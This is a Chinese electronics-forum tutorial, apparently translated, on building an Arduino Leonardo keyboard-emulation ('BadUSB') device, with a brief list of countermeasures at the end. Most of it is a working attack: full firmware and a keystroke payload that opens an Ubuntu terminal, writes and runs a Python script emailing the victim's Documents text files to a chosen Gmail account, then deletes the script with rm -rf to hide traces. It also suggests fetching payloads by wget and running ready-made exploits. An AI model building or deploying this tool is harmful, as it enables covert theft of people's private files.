0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Arduino键盘漏洞演示及解决办法

454398 来源:工程师吴畏 2019-08-07 09:02 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB读卡器

3。SD

4。按钮(VCC,地面和信号

5。跨接电缆

6。 micro USB转USB电缆

步骤2:构建设备

之前构建指令让我们回顾一下工作原理

Arduino leonardo可以像人机界面设备(HID)一样运行,因此可以模拟鼠标和键盘。我们将使用此功能打开终端(在UBUNTU linux中)并编写一个小脚本,该脚本将访问用户主文件夹中的/Documents文件夹复制.txt文件并将其通过电子邮件发送给某人。如果您想了解更多详细信息,请查看下一步。

因为它是一个演示设备,所以事情非常简单,我们不会焊接任何东西。

构建说明

1。组装组件:

*插入arduino中的micro USB线

*将钥匙开关连接到arduino(接地,vcc和out模块)至D8)

*将读卡器连接到arduino(使用ICSP标头)。 Arduino leonardo没有将ICSP接头连接到数字引脚,因此您需要将读卡器连接到ICSP接头。您可以在此处找到ICSP的一些图纸:https://learn.sparkfun.com/tutorials/installing-an 。..。将SS引脚连接到数字引脚10

2. 获取arduino代码 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。将代码上传到arduino ,请务必选择9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您从上面克隆了github repo,复制卡上的hack.txt文件,如果不是,则下面列出了该文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘application’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘attachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下内容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替换为您的电子邮件地址

7。 取出卡并将其插入arduino读卡器

步骤3:如何在细节中工作

攻击如何工作:

1。按下按钮后,leonardo将使用SD卡阅读器读取SD卡。卡上将显示包含按键和按键组合的特殊文件。文件名是“hack.txt”。

该文件可以包含原始文本,它将按原样传递给键盘。

它还可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按钮,按下左按钮,按下t按钮并全部释放

您可以在此处检查所有特殊按键:https://www.arduino .CC/EN/参考/KeyboardModif 。..

2。莱昂纳多将逐行阅读,并解释命令并模拟键盘上的键。文件“hack.txt”包含执行以下操作的键组合(对于UBUNTU linux):

a。打开一个终端(CTRL + ALT + T)

b。使用vi打开一个用于创建的python文件(写入“vi hack.py”

c。写入一个python脚本,收集文档主文件夹中的所有文本文件,并将它们发送到指定的gmail地址

d。在后台运行文件(“nohup python hack.py&”)

e。删除文件(rm -rf hack.py)

f。关闭终端(ALT + F4)

整个过程会在几秒钟内完成并且不会留下痕迹。

增强功能和故障排除

*你可能会注意到,在我打开一个终端后,我正在编写python文件。更好的方法是将它托管在某处并使用“wget some_url”命令下载它,然后将其重命名为hack.py

*我们也可以为目标操作系统下载或运行现成的漏洞利用

* wifi可以添加到模块中,黑客可以通过WIFI上传

*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代码(使其更小)

限制

1。由于模拟设备(键盘和鼠标)没有任何反馈,我们不知道发出命令后会发生什么,这意味着我们需要使用延迟。例如我发出一个打开终端的命令,但我不知道它什么时候会打开,所以我需要指定一个任意的延迟来确保输入的字符不会丢失。

2。我们可能会遇到许可问题,例如无法访问USB端口或安装某些内容的权限

3。打字速度对leonardo而言并不是那么好

4。仅适用于目标操作系统(在我们的案例中为UBUNTU linux)

在下一步中将尝试找到利用此限制的方法来防止我们的计算机被黑客入侵

第4步:对策

1。禁用USB端口

2。白名单USB设备:

3。不要以root身份登录(需要密码才能安装任何东西)

4。让自己保持最新(自动更新)

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 漏洞
    +关注

    关注

    0

    文章

    205

    浏览量

    15893
  • Arduino
    +关注

    关注

    190

    文章

    6515

    浏览量

    195990
收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    VCS安装教程及常见问题和解决办法

    解决办法。 二、问题提出及相应解决办法 1、license文件过期问题 大家在网上看到的VCS安装教程中,都会附上license文件,并且告诉你如何获取Host Name等信息。 但有时获取
    发表于 10-27 07:58

    时序约束问题的解决办法

    slack 计算如下图所示: 所以 slakc 为负数时,说明路径的组合逻辑延时过长。解决办法有两个:第一个是降低时钟频率,第二个是将延时过长的组合逻辑拆成两个或者多个时钟周期执行。 无论 Setup
    发表于 10-24 09:55

    单向阀气密性检测仪常见故障及解决办法

    单向阀气密性检测仪在工业生产中起着至关重要的作用,然而在使用过程中难免会出现一些故障。了解常见故障及其解决办法,能有效提高设备的使用效率和检测准确性。一、检测结果不准确故障表现检测数据波动
    的头像 发表于 06-30 14:01 413次阅读
    单向阀气密性检测仪常见故障及<b class='flag-5'>解决办法</b>

    存储示波器的触发问题及解决办法

    解决办法与操作指南1. 无法触发 检查触发阈值: 调整阈值至信号幅度的50%-70%(例如,信号幅度为2V,则设置阈值为1V)。 选择匹配的触发模式: 简单信号用边沿触发;复杂信号用脉宽触发或逻辑
    发表于 04-09 14:39

    GPS北斗定位模块问题及解决办法

    GPS北斗定位模块使用上大多需要配置和设置下的,因此出现应用方面的问题也是可以理解的。以下是常见的问题及其解决办法: 一、搜不到信号 问题描述: 在家或个别位置无法接收到GPS或北斗定位模块的信号
    的头像 发表于 03-30 07:37 2543次阅读

    PLC异常工作的原因和解决办法

    PLC(可编程逻辑控制器)异常工作的原因及解决办法
    的头像 发表于 02-24 17:27 1865次阅读

    功放变压器嗡嗡声解决办法有哪些?

    变压器嗡嗡声的解决办法,希望能帮助大家更好地维护和使用功放设备。 1. 解决电磁干扰    ● 电磁干扰是功放变压器嗡嗡声的一个常见原因。由于电源的漏磁,可能产生电力变压器干扰和杂散电磁波干扰。为了解决这个问题,可以
    的头像 发表于 02-24 11:11 3494次阅读

    Profinet IO通信故障原因及解决办法

    通信故障时有发生,影响生产效率和系统稳定性。本文将深入探讨Profinet IO通信故障的常见原因,并提出详细的解决办法,以帮助技术人员快速定位和解决问题。
    的头像 发表于 02-03 14:50 3130次阅读

    UPS电源常见故障及解决办法

    故障现象: UPS电源开机后无任何反应,指示灯不亮,风扇不转。 解决办法: 检查UPS电源的输入电源是否正常,包括市电和旁路输入。 检查UPS电源内部的保险丝是否熔断,如熔断需更换。 检查UPS电源的电池是否老化或损坏,需要更换电池。 检查UPS电
    的头像 发表于 01-19 09:58 5294次阅读

    常见钽电容故障及解决办法

    是一个钽金属片,周围涂覆着氧化钽介质层。这种结构使得钽电容具有较高的容量密度和稳定的性能。 常见故障类型 1. 短路 短路是钽电容最常见的故障之一,通常是由于介质层的损坏或击穿造成的。 解决办法: 更换电容器: 如果短
    的头像 发表于 01-10 09:20 2534次阅读

    红外线测温仪常见故障及解决办法

    红外线测温仪在使用过程中可能会遇到一些常见故障,以下是一些常见的故障及其解决办法: 一、输出无变化 故障现象 :被测介质温度升高或者降低时,红外线测温仪输出没有变化。 可能原因 :红外线测温仪密封
    的头像 发表于 01-03 15:28 5299次阅读

    断路器常见故障及解决办法

    断路器常见故障及解决办法 1. 断路器无法合闸 故障原因: 断路器内部机械故障,如弹簧卡滞、合闸机构损坏等。 断路器保护装置动作,如过载、短路保护等。 操作不当,如操作顺序错误或操作力度不足
    的头像 发表于 01-03 09:30 4874次阅读

    端子失效的常见原因及解决办法

    端子失效的常见原因及解决办法 在现代电子设备和电路系统中,端子作为连接各个组件的关键部分,其稳定性和可靠性至关重要。然而,端子失效的情况时有发生,这不仅影响设备的正常运行,还可能导致安全隐患。 端子
    的头像 发表于 12-29 10:47 2394次阅读

    常见垫圈故障及解决办法 防漏垫圈的设计与应用

    常见垫圈故障及解决办法 1. 垫圈老化 故障现象: 垫圈因长时间使用而老化,失去弹性,导致密封性能下降。 解决办法: 定期检查垫圈的老化情况,及时更换新的垫圈。 2. 垫圈变形 故障现象: 由于安装
    的头像 发表于 12-12 15:31 1875次阅读

    电力电缆的常见故障及解决办法 电力电缆与通讯电缆的区别

    电力电缆的常见故障及解决办法 电力电缆是电力系统的重要组成部分,负责将电能从发电站传输到用户端。由于其长期暴露在户外环境中,电力电缆可能会遇到各种故障。以下是一些常见的电力电缆故障及其解决办法
    的头像 发表于 12-12 15:11 2737次阅读